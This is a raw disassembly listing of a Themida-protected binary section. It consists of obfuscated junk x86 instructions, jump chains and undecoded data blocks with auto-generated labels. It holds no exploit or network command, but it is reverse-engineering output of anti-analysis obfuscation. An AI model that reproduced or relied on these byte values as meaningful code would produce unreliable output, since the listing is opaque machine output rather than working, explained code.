246B29E5h dd 4EC81h, 3C890000h, 62DFBF24h, 0EB8101FBh, 45D66F3Ch dd 6CEEBA52h, 0D3296DCCh, 1F35E9h, 4C48300h, 8904EC83h dd 26BE2434h, 46541247h, 2414F756h, 0E6814E5Eh, 42B35D23h dd 6FC6814Eh, 0F7379935h, 0B0E681DEh, 0C156C618h, 0E68108EEh dd 0CD31B8Ch, 6488BF57h, 0C6813BFBh, 24DE54E4h, 0EE81FE01h dd 24DE54E4h, 8BF3295Fh, 0C4832434h, 4AC38104h, 55297B4Dh dd 0CD223EBDh, 0C5814D16h, 11315715h, 565DEB29h, 0FFDC35E9h dd 0E8005BFFh, 240C8B66h, 1513E9h, 2C77FF00h, 8916E9h dd 5BD92900h, 6303685Eh, 3C890000h, 4F2BE924h, 685F0000h dd 369Dh, 89242C89h, 4EC81E5h, 89000000h, 4B9240Ch, 1000000h dd 0ED8359CDh, 242C8704h, 0A31DE9h, 2474FF00h, 240C8B04h dd 815A5452h, 4C2h, 4C28100h, 83000000h, 0F3E904ECh db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5122DB: ; CODE XREF: Themida_:0050C7DDj pop ebp inc edx xor edx, 4DAD37ECh sub eax, edx mov edx, [esp] jmp loc_51F352 ; --------------------------------------------------------------------------- db 0B9h, 4Ah, 4Dh dd 0CB29297Bh, 88C38159h, 313C3B64h, 92E3E9C2h, 1C89FFFFh dd 4EC8324h, 24048F54h, 4BF57h, 44810000h, 4A700424h, 7C017288h dd 10E90424h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512323: ; CODE XREF: Themida_:0051E8E8j mov bh, ah jmp loc_520C10 ; --------------------------------------------------------------------------- a0Hnc db '0hnC',0 dd 0D875E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512336: ; CODE XREF: Themida_:00516B1Cj sub ecx, ebp pop ebp xchg ecx, [esp] pop esp mov [esp], edi jmp loc_51E8ED ; --------------------------------------------------------------------------- db 81h, 0C5h, 2Ch dd 0E983DD27h, 0FFFFF442h, 68D1045Bh, 12E3h, 89241C89h dd 4C381E3h, 83000000h, 0EC8104EBh, 4, 0FF241C89h, 5B042474h dd 5C24048Fh, 6DA7E9h, 0C7815D00h, 4, 4EC81h, 0BEE90000h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51238F: ; CODE XREF: Themida_:0051FF62j pop esi jmp loc_51C204 ; --------------------------------------------------------------------------- loc_512395: ; CODE XREF: Themida_:00515F67j mov ecx, esp jmp loc_518BD0 ; --------------------------------------------------------------------------- loc_51239C: ; CODE XREF: Themida_:0050FB7Fj push eax jmp loc_5207E4 ; --------------------------------------------------------------------------- loc_5123A2: ; CODE XREF: Themida_:0051244Fj push edi mov edi, 0B115FF0h and edi, 9E57522h inc edi jmp loc_50BD3C ; --------------------------------------------------------------------------- dd 0E904EA83h, 0FFFFF5F4h ; --------------------------------------------------------------------------- loc_5123BC: ; CODE XREF: Themida_:00518528j push 639Fh jmp loc_50BC2A ; --------------------------------------------------------------------------- loc_5123C6: ; CODE XREF: Themida_:0050E700j add [esp+4], ecx pop ecx jmp loc_51B409 ; --------------------------------------------------------------------------- dd 1AD868h, 240C8900h, 0B850E189h, 22402CFBh, 35D0F7h dd 1DDBFD3h, 0C18158C1h, 4, 5C240C87h, 31240433h, 4332404h dd 24248B24h, 0C8BE0F66h, 44BB68h, 24148900h, 41E9E289h dd 890000D5h, 1A682404h, 8900002Fh, 0E189240Ch, 4C181h dd 0E9830000h, 1D8E904h, 0B8500000h, 0F144E02h, 0FF9F96E9h db 0FFh ; --------------------------------------------------------------------------- loc_512439: ; CODE XREF: Themida_:00513347j mov ebp, 604AA0EEh add ebx, ebp pop ebp add ebp, ebx pop ebx push ebp push dword ptr [esp+4] jmp loc_516742 ; --------------------------------------------------------------------------- loc_51244E: ; CODE XREF: Themida_:005163BAj pop esp jmp loc_5123A2 ; --------------------------------------------------------------------------- loc_512454: ; CODE XREF: Themida_:0051C4C3j add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp push 1256h jmp loc_51AB34 ; --------------------------------------------------------------------------- dd 0F758C609h, 0DB0AE9D6h, 0C890000h, 98BE5624h, 0B976BC66h dd 0D363A6FEh, 348BF129h, 4C48324h, 78E1C981h, 0D9F7257Dh dd 871DF181h, 0C8018200h, 0DAE95759h, 5F0000D9h, 0ACED814Dh dd 505DB932h, 9169D0B8h, 58C50925h, 6673BA52h, 0EE9359Dh dd 53FFFFCFh, 0DA88E9B3h, 0C4F8E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5124CA: ; CODE XREF: Themida_:0051D7C9j dec edx sub edx, 0BEE3B7E8h push edx jmp loc_50D97F ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 46824h, 1590000h, 2434FFCBh, 1045E959h, 0B4680000h dd 89000038h, 74FF242Ch, 8F5D0424h, 248B2404h, 4EC8124h dd 0E9000000h, 0B21Ah ; --------------------------------------------------------------------------- loc_51250C: ; CODE XREF: Themida_:0050CFC0j mov [esp], ebp mov ebp, 277C0078h xor ebp, 5C3661A2h inc ebp add ebp, 40E11D7Eh jmp loc_518686 ; --------------------------------------------------------------------------- loc_512526: ; CODE XREF: Themida_:005210ACj push 4669215Bh jmp loc_515B18 ; --------------------------------------------------------------------------- dd 28B6664h, 4EC81h, 0D1E90000h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_51253F: ; CODE XREF: Themida_:0052010Dj push ecx pop ebx pop ecx add ebx, 7C577C5Dh and ebx, 345B4C3Ch push ebp jmp loc_5203A7 ; --------------------------------------------------------------------------- loc_512554: ; CODE XREF: Themida_:00516157j mov edx, 57BF390Fh jmp loc_51015C ; --------------------------------------------------------------------------- loc_51255E: ; CODE XREF: Themida_:0051CA2Dj pop esp push 66C5h jmp loc_5210F7 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0FDh dd 53FFFFC4h, 1BBh, 5BD92900h, 16C18149h, 0E91ED813h, 0C447h ; --------------------------------------------------------------------------- loc_512584: ; CODE XREF: Themida_:00510EB7j mov ecx, 28A16DE6h jmp loc_513277 ; --------------------------------------------------------------------------- dw 0E589h dd 951DE9h, 240C8B00h, 4C481h, 0C310000h, 240C3324h, 0E9240C31h dd 0FFFF9039h, 34BB6653h, 658AE933h, 0EB800000h, 32E568E1h dd 4890000h, 0C0DFB424h, 0EC8004E4h, 14EC8048h, 2858E328h dd 94C380C3h, 7DD968h, 24148900h, 0D300E1B2h, 0CD7EE95Ah dd 895EFFFFh, 0CE295BD9h, 81240C8Bh, 4C4h, 62C78100h, 5345141Fh dd 0B8248DBBh, 3382E941h, 0FF510000h, 59042474h, 26FFE9h dd 1DEA6800h, 1C890000h, 4EC8324h, 68240C89h, 34FEh, 20ECE9h dd 2434FF00h, 33F6859h, 4DE90000h, 81FFFFB4h, 4C4h, 5EF32100h dd 5EFA68h, 24048900h, 0CABB5351h, 0E930E754h, 0FFFFF6EFh dd 8B2434FFh, 0C4812404h, 4, 0FFB23AE9h, 52B850FFh, 0E90D4A0Ch dd 0D877h, 0EC8143B7h, 2, 240C8966h, 0E9FC8850h, 0D663h dd 43A1F381h, 0E95E7312h, 6FE6h, 0E99C5166h, 0FFFF8F4Dh dd 0D587D2F7h, 0FFA5A5E9h, 0C8B66FFh, 4EC8124h, 89000000h dd 0FF542434h, 348B2434h, 0F426E924h, 990DFFFFh, 5031A920h dd 0E92414F7h, 0FFFFA866h, 1826E95Fh, 0DFBD0000h, 295EC122h dd 0DF295DEFh, 22DFC781h, 57535EC1h, 0E874E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5126E6: ; CODE XREF: Themida_:0050F2F2j xor esi, [esp] pop esp jmp loc_51629E ; --------------------------------------------------------------------------- loc_5126EF: ; CODE XREF: Themida_:00515FD8j shl ebx, 4 add ebx, 32EA4693h shr ebx, 2 dec ebx xor ebx, 5DCC3C47h sub ebx, 65A55E97h push ebx pop edx pop ebx add edi, edx pop edx sub edi, 0A5C3A460h mov eax, edi pop edi jmp loc_518F25 ; --------------------------------------------------------------------------- dd 0E9F3315Dh, 4C7Ah ; --------------------------------------------------------------------------- loc_512724: ; CODE XREF: Themida_:0050B64Bj add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [edi+1Ch] mov ecx, [esp] sub esp, 4 mov [esp], edi mov edi, esp sub esp, 4 jmp loc_516093 ; --------------------------------------------------------------------------- aIcsu db '',0 dw 6800h dd 43B7h, 0C6A2E9h, 0F9E95A00h, 83000014h, 0BA5204C4h dd 6B8D2ED3h, 0FFBAF281h, 0D5019758h, 0FFEB015Ah, 815D2434h dd 4C4h, 7AFC6800h, 1C890000h, 2474FF24h, 241C8B04h, 81E78957h dd 4C7h, 4C78100h, 87000000h, 8F5C243Ch, 248B2404h, 2434FF24h dd 0E92434FFh, 82EDh, 241C8B5Dh, 5204C483h, 0FF9B5CE9h dd 81DA01FFh, 0C00B0DEAh, 0CF89E932h, 15C0000h, 0EC8159C8h dd 4, 0B9240C89h, 4B30120h, 0D0BD5553h, 896EA814h, 0D9215DEBh dd 83241C8Bh, 0E1C104C4h, 89C98104h, 81702359h, 4E67AEE9h dd 8BC80151h, 0E952240Ch, 9482h ; --------------------------------------------------------------------------- loc_512804: ; CODE XREF: Themida_:0050F46Aj pop edx not edi push eax mov eax, 22A02D37h add edi, eax jmp loc_51DDB1 ; --------------------------------------------------------------------------- loc_512814: ; CODE XREF: Themida_:00516CBFj shr ebp, 1 sub esp, 4 mov [esp], ecx mov ecx, 24CC8990h jmp loc_50E8E9 ; --------------------------------------------------------------------------- db 58h, 83h, 0ECh dd 8FFAE904h, 0D7F7FFFFh, 63E9FE87h, 68000019h, 2838h dd 68242C89h, 6D7B1244h, 8BEB215Dh, 0C6E9242Ch db 0CAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_512853: ; CODE XREF: Themida_:0050BE1Dj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 29h, 0F7h, 52h dd 86EBE9h db 0 ; --------------------------------------------------------------------------- loc_51286D: ; CODE XREF: Themida_:0050B9ADj xchg esi, [esp] jmp loc_5137AD ; --------------------------------------------------------------------------- db 81h, 0F3h, 13h dd 0E9253E6Ch, 0FFFFA927h ; --------------------------------------------------------------------------- loc_512880: ; CODE XREF: Themida_:0051ED3Ej mov [esp], edx mov edx, 6F46038Eh jmp loc_5206D7 ; --------------------------------------------------------------------------- loc_51288D: ; CODE XREF: Themida_:0051B4ADj shr ebx, 6 add ebx, 2BE275ACh sub esi, ebx pop ebx mov edx, esi jmp loc_5184EA ; --------------------------------------------------------------------------- loc_5128A0: ; CODE XREF: Themida_:0051B524j push ebx mov ebx, 7A927282h jmp loc_50DB95 ; --------------------------------------------------------------------------- db 29h dd 0EC835DEAh, 24148904h, 42474FFh, 10C6E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5128BE: ; CODE XREF: Themida_:0051A3EAj push edi jmp loc_50C52C ; --------------------------------------------------------------------------- aSga db ']a',0 align 2 dw 0E3C1h dd 1C38104h, 0D1000000h, 5E3C1E3h, 0FF93ACE9h, 2DB0B8FFh dd 0BE92B4Ch db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5128E7: ; CODE XREF: Themida_:0051C53Aj mov [esp], edx mov edx, 17564F1Eh neg edx shr edx, 7 xor edx, 6E9750EFh sub eax, edx push dword ptr [esp] pop edx jmp loc_514361 ; --------------------------------------------------------------------------- db 68h, 0C6h, 1 dd 3C890000h, 5C446824h, 24890000h, 17E95324h db 0D8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51291B: ; CODE XREF: Themida_:0050E23Dj sub ebx, 0A62BBBD8h jmp loc_5200EE ; --------------------------------------------------------------------------- loc_512926: ; CODE XREF: Themida_:0050BB9Aj and edi, 68F97A46h sub edi, 48615A02h add ebp, edi jmp loc_51FCA7 ; --------------------------------------------------------------------------- loc_512939: ; CODE XREF: Themida_:0050F1FFj mov ecx, 24740477h or ebx, ecx jmp loc_51E871 ; --------------------------------------------------------------------------- db 4Bh, 81h, 0C3h dd 0FE400208h, 565BDE01h, 0FFCA3BE9h db 0FFh ; --------------------------------------------------------------------------- loc_512955: ; CODE XREF: Themida_:0050D9EAj xor esi, [esp] xor [esp], esi jmp loc_50E7D0 ; --------------------------------------------------------------------------- loc_512960: ; CODE XREF: Themida_:00519335j push 5C0Ah mov [esp], ebx mov ebx, 1FB448A6h sub ebx, 933170Fh add ebx, 5876272Bh jmp loc_51C51D ; --------------------------------------------------------------------------- dw 3431h dd 0D95EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512986: ; CODE XREF: Themida_:00517D75j mov ch, 0DDh push ebx mov bl, 8Ah jmp loc_515B3E ; --------------------------------------------------------------------------- dd 0FC81C181h, 0C801F74Fh, 3B685D59h, 8900002Eh, 0E589242Ch dd 4C581h, 0ED830000h, 242C8704h, 90BBE9h, 8C78000h, 55A7C780h dd 0DC89E9h db 0 ; --------------------------------------------------------------------------- loc_5129C1: ; CODE XREF: Themida_:0051D958j sub esi, edi push dword ptr [esp] pop edi add esp, 4 add esi, 573859BDh pop edi push edi mov edi, 4 add esi, edi pop edi xor esi, [esp] xor [esp], esi jmp loc_514EF8 ; --------------------------------------------------------------------------- dd 0E924348Bh, 0FFFFA90Fh, 240C8B66h, 66C56856h, 8F540000h dd 4812404h, 424h, 0B2C3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_512A0A: ; CODE XREF: Themida_:0051644Cj xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], eax xchg ebx, [esp] not ebx jmp loc_510DE7 ; --------------------------------------------------------------------------- dd 0EBC1D3F7h, 1FEB8107h, 21B14C38h, 1F88E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_512A32: ; CODE XREF: Themida_:005137BAj push dword ptr [esp] jmp loc_51D220 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0E9B2045Bh, 0FFFFA91Bh, 83243C8Bh, 0D76804C4h, 0E900007Fh dd 0FFFFF8AAh, 81240C8Bh, 4C4h, 0BCC58100h, 2968C001h dd 0BCBA52FDh, 2968C001h, 685F5AD5h, 0 dd 7F24B850h, 44015F35h, 29580424h, 2C81242Ch, 357F2424h dd 0E5C15D5Fh, 0DFAFE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_512A96: ; CODE XREF: Themida_:0051B980j shl ebp, 8 sub ebp, 0FFFFFFFFh and ebp, 486A1072h push ebx mov ebx, 0F2C24DAFh add ebp, ebx pop ebx push ebp push eax mov eax, 67410E8Ah jmp loc_510E15 ; --------------------------------------------------------------------------- loc_512AB7: ; CODE XREF: Themida_:005168A6j mov ecx, [esp] add esp, 4 and eax, esi push dword ptr [esp] pop esi push esi push esp jmp loc_50D668 ; --------------------------------------------------------------------------- dw 0E956h dd 1285h ; --------------------------------------------------------------------------- loc_512AD0: ; CODE XREF: Themida_:0050DD00j xor edx, [esp] jmp loc_520E2B ; --------------------------------------------------------------------------- dd 0D1F7CA87h, 1487CA87h, 0FAAFE924h, 815EFFFFh, 8A7FF9EFh dd 24348B03h, 4C481h, 3C330000h, 243C3124h, 0C7CBE9h, 0CBA5200h dd 684DB821h, 887h, 0BD242C89h, 0FFFFFFFFh, 0E95DEA29h dd 0FFFFE04Dh ; --------------------------------------------------------------------------- loc_512B1C: ; CODE XREF: Themida_:00520B39j add ebp, esi push edi mov edi, 2E2A7AE0h jmp loc_5110BB ; --------------------------------------------------------------------------- db 1, 0F5h, 81h dd 1D5B31EDh, 2434FF42h, 4C4815Eh, 52000000h, 4BAh, 5AD50100h dd 4EC81h, 2C890000h, 2474FF24h, 242C8B04h, 81E78957h dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 24248B24h, 8B24048Fh dd 4092424h, 6AE99C24h, 4DFFFF8Ah, 8EBED81h, 0EA891EA7h dd 0C2C2815Dh, 0E93C7400h, 0FFFFB051h, 5D2434FFh, 5504C483h dd 0D1F1E95Ah, 58540000h, 405h, 40500h, 4870000h, 24248B24h dd 4C7CE952h, 8B660000h, 0EC81240Ch, 4, 8D5FE9h, 66F72000h dd 0FFC7805Ah, 0E905EFC0h, 0C50Eh, 515968h, 24148900h dd 2E99C50h, 56FFFF8Ah, 4223AEBEh, 79E6816Fh, 0D1261849h dd 0F7B951EEh, 29051955h, 0D14659CEh, 0DC3FE9EEh, 0E6890000h dd 4C681h, 0BA520000h, 2, 739AC681h, 0D6016AD9h, 739AEE81h dd 34FF6AD9h, 54535A24h, 77CF685Bh, 14890000h, 6FA3E924h dd 0FD010000h, 6EC5815Fh, 5F7C5455h, 4EC81h, 0D4E90000h dd 520000D6h, 5CE95DB6h, 50000010h, 81E38953h, 4C3h, 0CBB8E900h dd 3C33FFFFh, 0BE95C24h, 5300003Ch, 0E1E9E389h, 0C10000AFh dd 0F18104E1h, 0B2222004h, 8359CF01h, 2C8904ECh, 0B967E924h dd 0C5810000h, 6AD0D2C8h, 525DEB01h, 0FE7952BAh, 5AD30127h dd 0F64FE951h, 3C8BFFFFh, 0E6895624h, 4C681h, 0C6810000h dd 4, 5C243487h, 4EB81h, 5CE90000h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512CBF: ; CODE XREF: Themida_:005196E4j push 1A6Eh mov [esp], ecx mov ecx, 1 jmp loc_510280 ; --------------------------------------------------------------------------- loc_512CD1: ; CODE XREF: Themida_:005207EEj push edi push 174371BAh pop edi dec edi add edi, 3F8F1A14h dec edi and edi, 4B6757B4h xor edi, 5D1A0CEEh add esi, edi mov edi, [esp] add esp, 4 jmp loc_50E79C ; --------------------------------------------------------------------------- dd 0F1E9555Fh, 56000000h, 0BF575E54h, 4, 0D8E9FE01h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_512D13: ; CODE XREF: Themida_:00517E04j xor [esp], ecx xor ecx, [esp] jmp loc_517CF2 ; --------------------------------------------------------------------------- loc_512D1E: ; CODE XREF: Themida_:00511905j push ebp jmp loc_513D0C ; --------------------------------------------------------------------------- dd 2BEh, 0E9F18900h, 0FFFF8F6Ch, 8102E3C1h, 6E0387F3h dd 3BF38179h, 0F746EB74h, 30EB81D3h, 2927CF4Ch, 89055BD8h dd 5A321D61h, 3304E883h, 4312404h, 24043324h, 3493E95Ch dd 0F6810000h, 55322EBFh, 4E08E6C1h, 0A9B4F681h, 0F70148E5h dd 0E19DE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512D7A: ; CODE XREF: Themida_:0051B404j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esi push 5E2C2981h pop esi jmp loc_5176D8 ; --------------------------------------------------------------------------- loc_512D91: ; CODE XREF: Themida_:0051C77Ej pop ecx add al, 0DBh pop ebx push bx mov bl, 24h sub al, 59h add al, bl add al, 59h pop bx sub al, 63h sub al, bl add al, 63h sub al, 24h push 56AAh mov [esp], edx sub esp, 4 mov [esp], ecx mov ch, 48h mov dh, ch pop ecx xor dh, 41h push bx mov bl, 97h add al, bl pop bx push ebx jmp loc_5142BE ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0FE010000h, 2174BB53h, 0DBF77DF5h, 8563E9h dd 1C8B5F00h, 4C48324h, 0E9241433h, 1DA3h, 42474FFh, 5454E95Dh dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 0FFA387E9h db 0FFh ; --------------------------------------------------------------------------- loc_512E15: ; CODE XREF: Themida_:0050F21Bj add edx, 1731E503h push edx mov edx, 6EA571AAh add ebx, edx pop edx jmp loc_51BC65 ; --------------------------------------------------------------------------- db 0BFh, 0A2h, 0Ch dd 0C7831992h, 5EFC101h, 0FFD418E9h, 24248BFFh, 24048B66h dd 4311E9h, 0C3C58100h, 451EC811h, 51BFE9h db 0 ; --------------------------------------------------------------------------- loc_512E51: ; CODE XREF: Themida_:0051BB97j mov eax, [esp] add esp, 4 add edi, 53490DE7h jmp loc_514ABF ; --------------------------------------------------------------------------- loc_512E65: ; CODE XREF: Themida_:00517CF3j sub ebx, 0FFFFFFFFh push dword ptr [edi+24h] push edx push esp jmp loc_50EFB1 ; --------------------------------------------------------------------------- dw 0ED81h dd 0EB1B661Dh, 7E57B705h, 2DE82903h, 37E57B7h, 0CF8CE95Dh dd 0C3810000h, 4, 4C381h, 1C870000h, 14E95C24h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_512E9F: ; CODE XREF: Themida_:00515CB8j mov [esp], esi mov esi, 2CE06F46h not esi jmp loc_513868 ; --------------------------------------------------------------------------- loc_512EAE: ; CODE XREF: Themida_:0050E7EFj mov [esp], esi mov esi, esp jmp loc_51FF34 ; --------------------------------------------------------------------------- dd 0E94077FFh, 0FFFFEB4Ch, 7C81AD35h, 8BC789B2h, 0C4812404h dd 4, 4221EF81h, 0B850743Fh, 29B270F0h, 0E5A5C505h, 58C73144h dd 0FFC67AE9h, 8CE951FFh, 81FFFF95h, 639E25C7h, 5FFA8958h dd 0E904EAC1h, 0A5F9h ; --------------------------------------------------------------------------- loc_512F00: ; CODE XREF: Themida_:0050B814j add edi, 0FFFFFFFFh shr edi, 7 xor edi, 15D229E7h sub edi, 7E9B39F7h sub edi, 898CD115h jmp loc_51729B ; --------------------------------------------------------------------------- loc_512F1D: ; CODE XREF: Themida_:0051A352j xchg esi, [esp] jmp loc_51733C ; --------------------------------------------------------------------------- loc_512F25: ; CODE XREF: Themida_:0051C2F1j shl eax, 3 sub eax, 53AE4034h jmp loc_50C951 ; --------------------------------------------------------------------------- dw 48Bh aSk db '$<',0 align 2 dw 0C389h dd 59CB2958h, 8246C81h, 3F601471h, 8245C29h, 8244481h dd 3F601471h, 245C015Bh, 0E8BB5304h, 10B6315h, 8B08245Ch dd 0D8E9241Ch db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512F6B: ; CODE XREF: Themida_:0051A8BCj mov edi, 40001A08h jmp loc_520380 ; --------------------------------------------------------------------------- loc_512F75: ; CODE XREF: Themida_:0050B72Bj add edi, 15F91B7Ah pop ecx push eax mov eax, 8FD64855h jmp loc_50B650 ; --------------------------------------------------------------------------- db 0C1h dd 0CB8103E3h, 53C90880h, 8107EBC1h, 0F46718C3h, 9127E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_512F9E: ; CODE XREF: Themida_:005112A6j add esp, 4 mov ebx, [esp] jmp loc_50EE68 ; --------------------------------------------------------------------------- loc_512FA9: ; CODE XREF: Themida_:0051911Fj sub esi, ecx jmp loc_50D4C0 ; --------------------------------------------------------------------------- dd 0EC81E289h, 4, 0BB241C89h, 4, 4A46E9h, 2434FF00h, 81240C8Bh dd 4C4h, 0ECDDE900h, 0C581FFFFh, 0EEEB17AFh, 0F82A352Dh dd 5E8011Fh, 1FF82A35h, 0D97E95Dh, 14890000h, 0ACB85024h dd 0F7102A21h, 0F0D48D8h, 53D4179h, 2A00A5h, 0FFC9C0E9h dd 0F1ED81FFh, 0F742AF16h, 72ED81D5h, 89B3B83Fh, 54D2E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51301E: ; CODE XREF: Themida_:0050E3DDj mov [esp], edi jmp loc_516CC4 ; --------------------------------------------------------------------------- loc_513026: ; CODE XREF: Themida_:005203F4j mov edi, 630267A1h add ebp, edi jmp loc_5170A4 ; --------------------------------------------------------------------------- loc_513032: ; CODE XREF: Themida_:00510157j xor edi, esi pop esi add edi, 10835BEBh add eax, edi pop edi jmp loc_520CE9 ; --------------------------------------------------------------------------- loc_513043: ; CODE XREF: Themida_:0050F8AEj add esp, 4 and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 0 or eax, eax jz loc_515F66 push 50A6h mov [esp], ebp mov ebp, ebx jmp loc_50E5DB ; --------------------------------------------------------------------------- loc_51306B: ; CODE XREF: Themida_:00514FEBj shl ebx, 1 xor ebx, 29446104h push esi mov esi, 662013ECh xor ebx, esi jmp loc_51EEE5 ; --------------------------------------------------------------------------- dd 0E932FF64h, 0FFFF855Dh ; --------------------------------------------------------------------------- loc_513088: ; CODE XREF: Themida_:00514D50j sub ebp, 1A520CE9h push edx mov edx, 5C2747CEh sub ebp, edx jmp loc_50F5EA ; --------------------------------------------------------------------------- db 1 dd 0FF5559CDh, 0FF042474h, 815D2434h, 4C4h, 7B55E900h dd 34FF0000h, 8F685824h, 89000008h, 0E389241Ch, 64F26852h dd 24890000h, 24048124h, 4, 4C2815Ah, 81000000h, 4EAh dd 24148700h, 0FFAD66E9h db 0FFh ; --------------------------------------------------------------------------- loc_5130E5: ; CODE XREF: Themida_:00519378j mov edi, 71FB45ACh jmp loc_5140BC ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF84F1h, 16E9D987h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5130FB: ; CODE XREF: Themida_:00514ADAj push ebp push 6CB2h mov [esp], esi mov esi, 0FCC853D4h mov ebp, esi jmp loc_51CDE1 ; --------------------------------------------------------------------------- loc_513110: ; CODE XREF: Themida_:0050B890j pop ebp push ebx mov ebx, 2237423Ch sub edx, ebx pop ebx add edx, esi jmp loc_510030 ; --------------------------------------------------------------------------- loc_513121: ; CODE XREF: Themida_:0051F390j push esi jmp loc_52076C ; --------------------------------------------------------------------------- db 5Ah dd 0FFC256E9h db 0FFh ; --------------------------------------------------------------------------- loc_51312D: ; CODE XREF: Themida_:0050D6AFj add [esp+4], edx jmp loc_51D35C ; --------------------------------------------------------------------------- loc_513136: ; CODE XREF: Themida_:00516037j mov esi, 6FA930C4h add esi, 3D202298h xor esi, 2C6E0BF8h jmp loc_510354 ; --------------------------------------------------------------------------- dd 5303E3C1h, 5B2414F7h, 37CBE9h, 24048100h, 4, 4C3815Bh dd 81000000h, 4C3h, 74FF5300h, 8F5B0424h, 8CE92404h, 81FFFFA7h dd 4C1h, 4C18300h, 8B240C87h, 8CE92424h, 5C000049h, 4EC81h dd 2C890000h, 0AC72E924h, 66AC0000h, 0B6C3E951h, 0C4830000h dd 0E3895304h, 0FFEC50E9h db 0FFh ; --------------------------------------------------------------------------- loc_5131B1: ; CODE XREF: Themida_:00519620j push esi mov esi, 4 jmp loc_520B33 ; --------------------------------------------------------------------------- dd 83243C8Bh, 82E904C4h, 81FFFFD7h, 0BD09A8C2h, 0E763E9BBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5131D2: ; CODE XREF: Themida_:00516F15j shl ch, 6 push bx mov bl, 1 sub ch, bl pop bx jmp loc_5178AB ; --------------------------------------------------------------------------- dw 0EB80h dd 52C32884h, 1591E9h db 0 ; --------------------------------------------------------------------------- loc_5131ED: ; CODE XREF: Themida_:00520463j push 28D137D1h pop ebx neg ebx dec ebx add ebx, 65E99D10h jmp loc_511EDA ; --------------------------------------------------------------------------- db 53h, 0BBh, 0F9h dd 314FAEE9h, 0FA295BDFh, 83243C8Bh, 0B3E904C4h, 660000C5h dd 0C6E932FFh db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51321F: ; CODE XREF: Themida_:0051CDECj mov ebx, [esp] add esp, 4 and eax, edi mov edi, [esp] push ebp jmp loc_50F8EF ; --------------------------------------------------------------------------- loc_513230: ; CODE XREF: Themida_:0050D465j pop ebx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] sub eax, 78EB2FAFh push ebp push ecx mov ecx, 3F3B433Eh inc ecx shl ecx, 1 jmp loc_519A7B ; --------------------------------------------------------------------------- dw 0C681h dd 4, 25BAE9h db 0 ; --------------------------------------------------------------------------- loc_513265: ; CODE XREF: Themida_:0051EB1Aj pop edx xchg ecx, [esp] mov esp, [esp] imul cl movzx cx, ah jmp loc_51D797 ; --------------------------------------------------------------------------- loc_513277: ; CODE XREF: Themida_:00512589j shl ecx, 5 push 7BC0h mov [esp], ecx neg dword ptr [esp] pop ecx jmp loc_51C0A8 ; --------------------------------------------------------------------------- loc_51328B: ; CODE XREF: Themida_:005186E7j pop dword ptr [esp] pop esp sub esp, 4 jmp loc_50C8C4 ; --------------------------------------------------------------------------- aZ4Sgc db '4$gC',0 align 2 dw 8149h dd 853F49F1h, 45F1817Fh, 217AB677h, 0EC8159CFh, 4, 0F7243C89h dd 815F2414h, 0AF056BE7h, 9BBB5328h, 1DF58FAh, 0FB895BDFh dd 81243C8Bh, 4C4h, 8BDA0100h, 0C483241Ch, 0AEC2E904h dd 1C8BFFFFh, 4C48124h, 89000000h, 345EE9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5132F6: ; CODE XREF: Themida_:005104B9j push 0FDB441Fh jmp loc_516626 ; --------------------------------------------------------------------------- loc_513300: ; CODE XREF: Themida_:00519B01j inc ecx jmp loc_510CC6 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8105E7C1h, 0D35344C7h, 89EE81C7h, 1628B16h, 89C681FEh dd 8B628B16h, 0C483243Ch, 7B7FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51332E: ; CODE XREF: Themida_:0050E3ABj xchg edx, [esp] mov esp, [esp] mov [esp], eax xor [esp], edi xor edi, [esp] xor [esp], edi jmp loc_51FBC6 ; --------------------------------------------------------------------------- loc_513345: ; CODE XREF: Themida_:0051044Dj pop esi push ebp jmp loc_512439 ; --------------------------------------------------------------------------- dd 0FF8294E9h db 0FFh ; --------------------------------------------------------------------------- loc_513351: ; CODE XREF: Themida_:0050FEDAj mov ecx, esp add ecx, 4 push edi mov edi, 4 jmp loc_518467 ; --------------------------------------------------------------------------- loc_513364: ; CODE XREF: Themida_:005153C8j mov ebp, 82F898D8h add ebp, edi jmp loc_51C627 ; --------------------------------------------------------------------------- 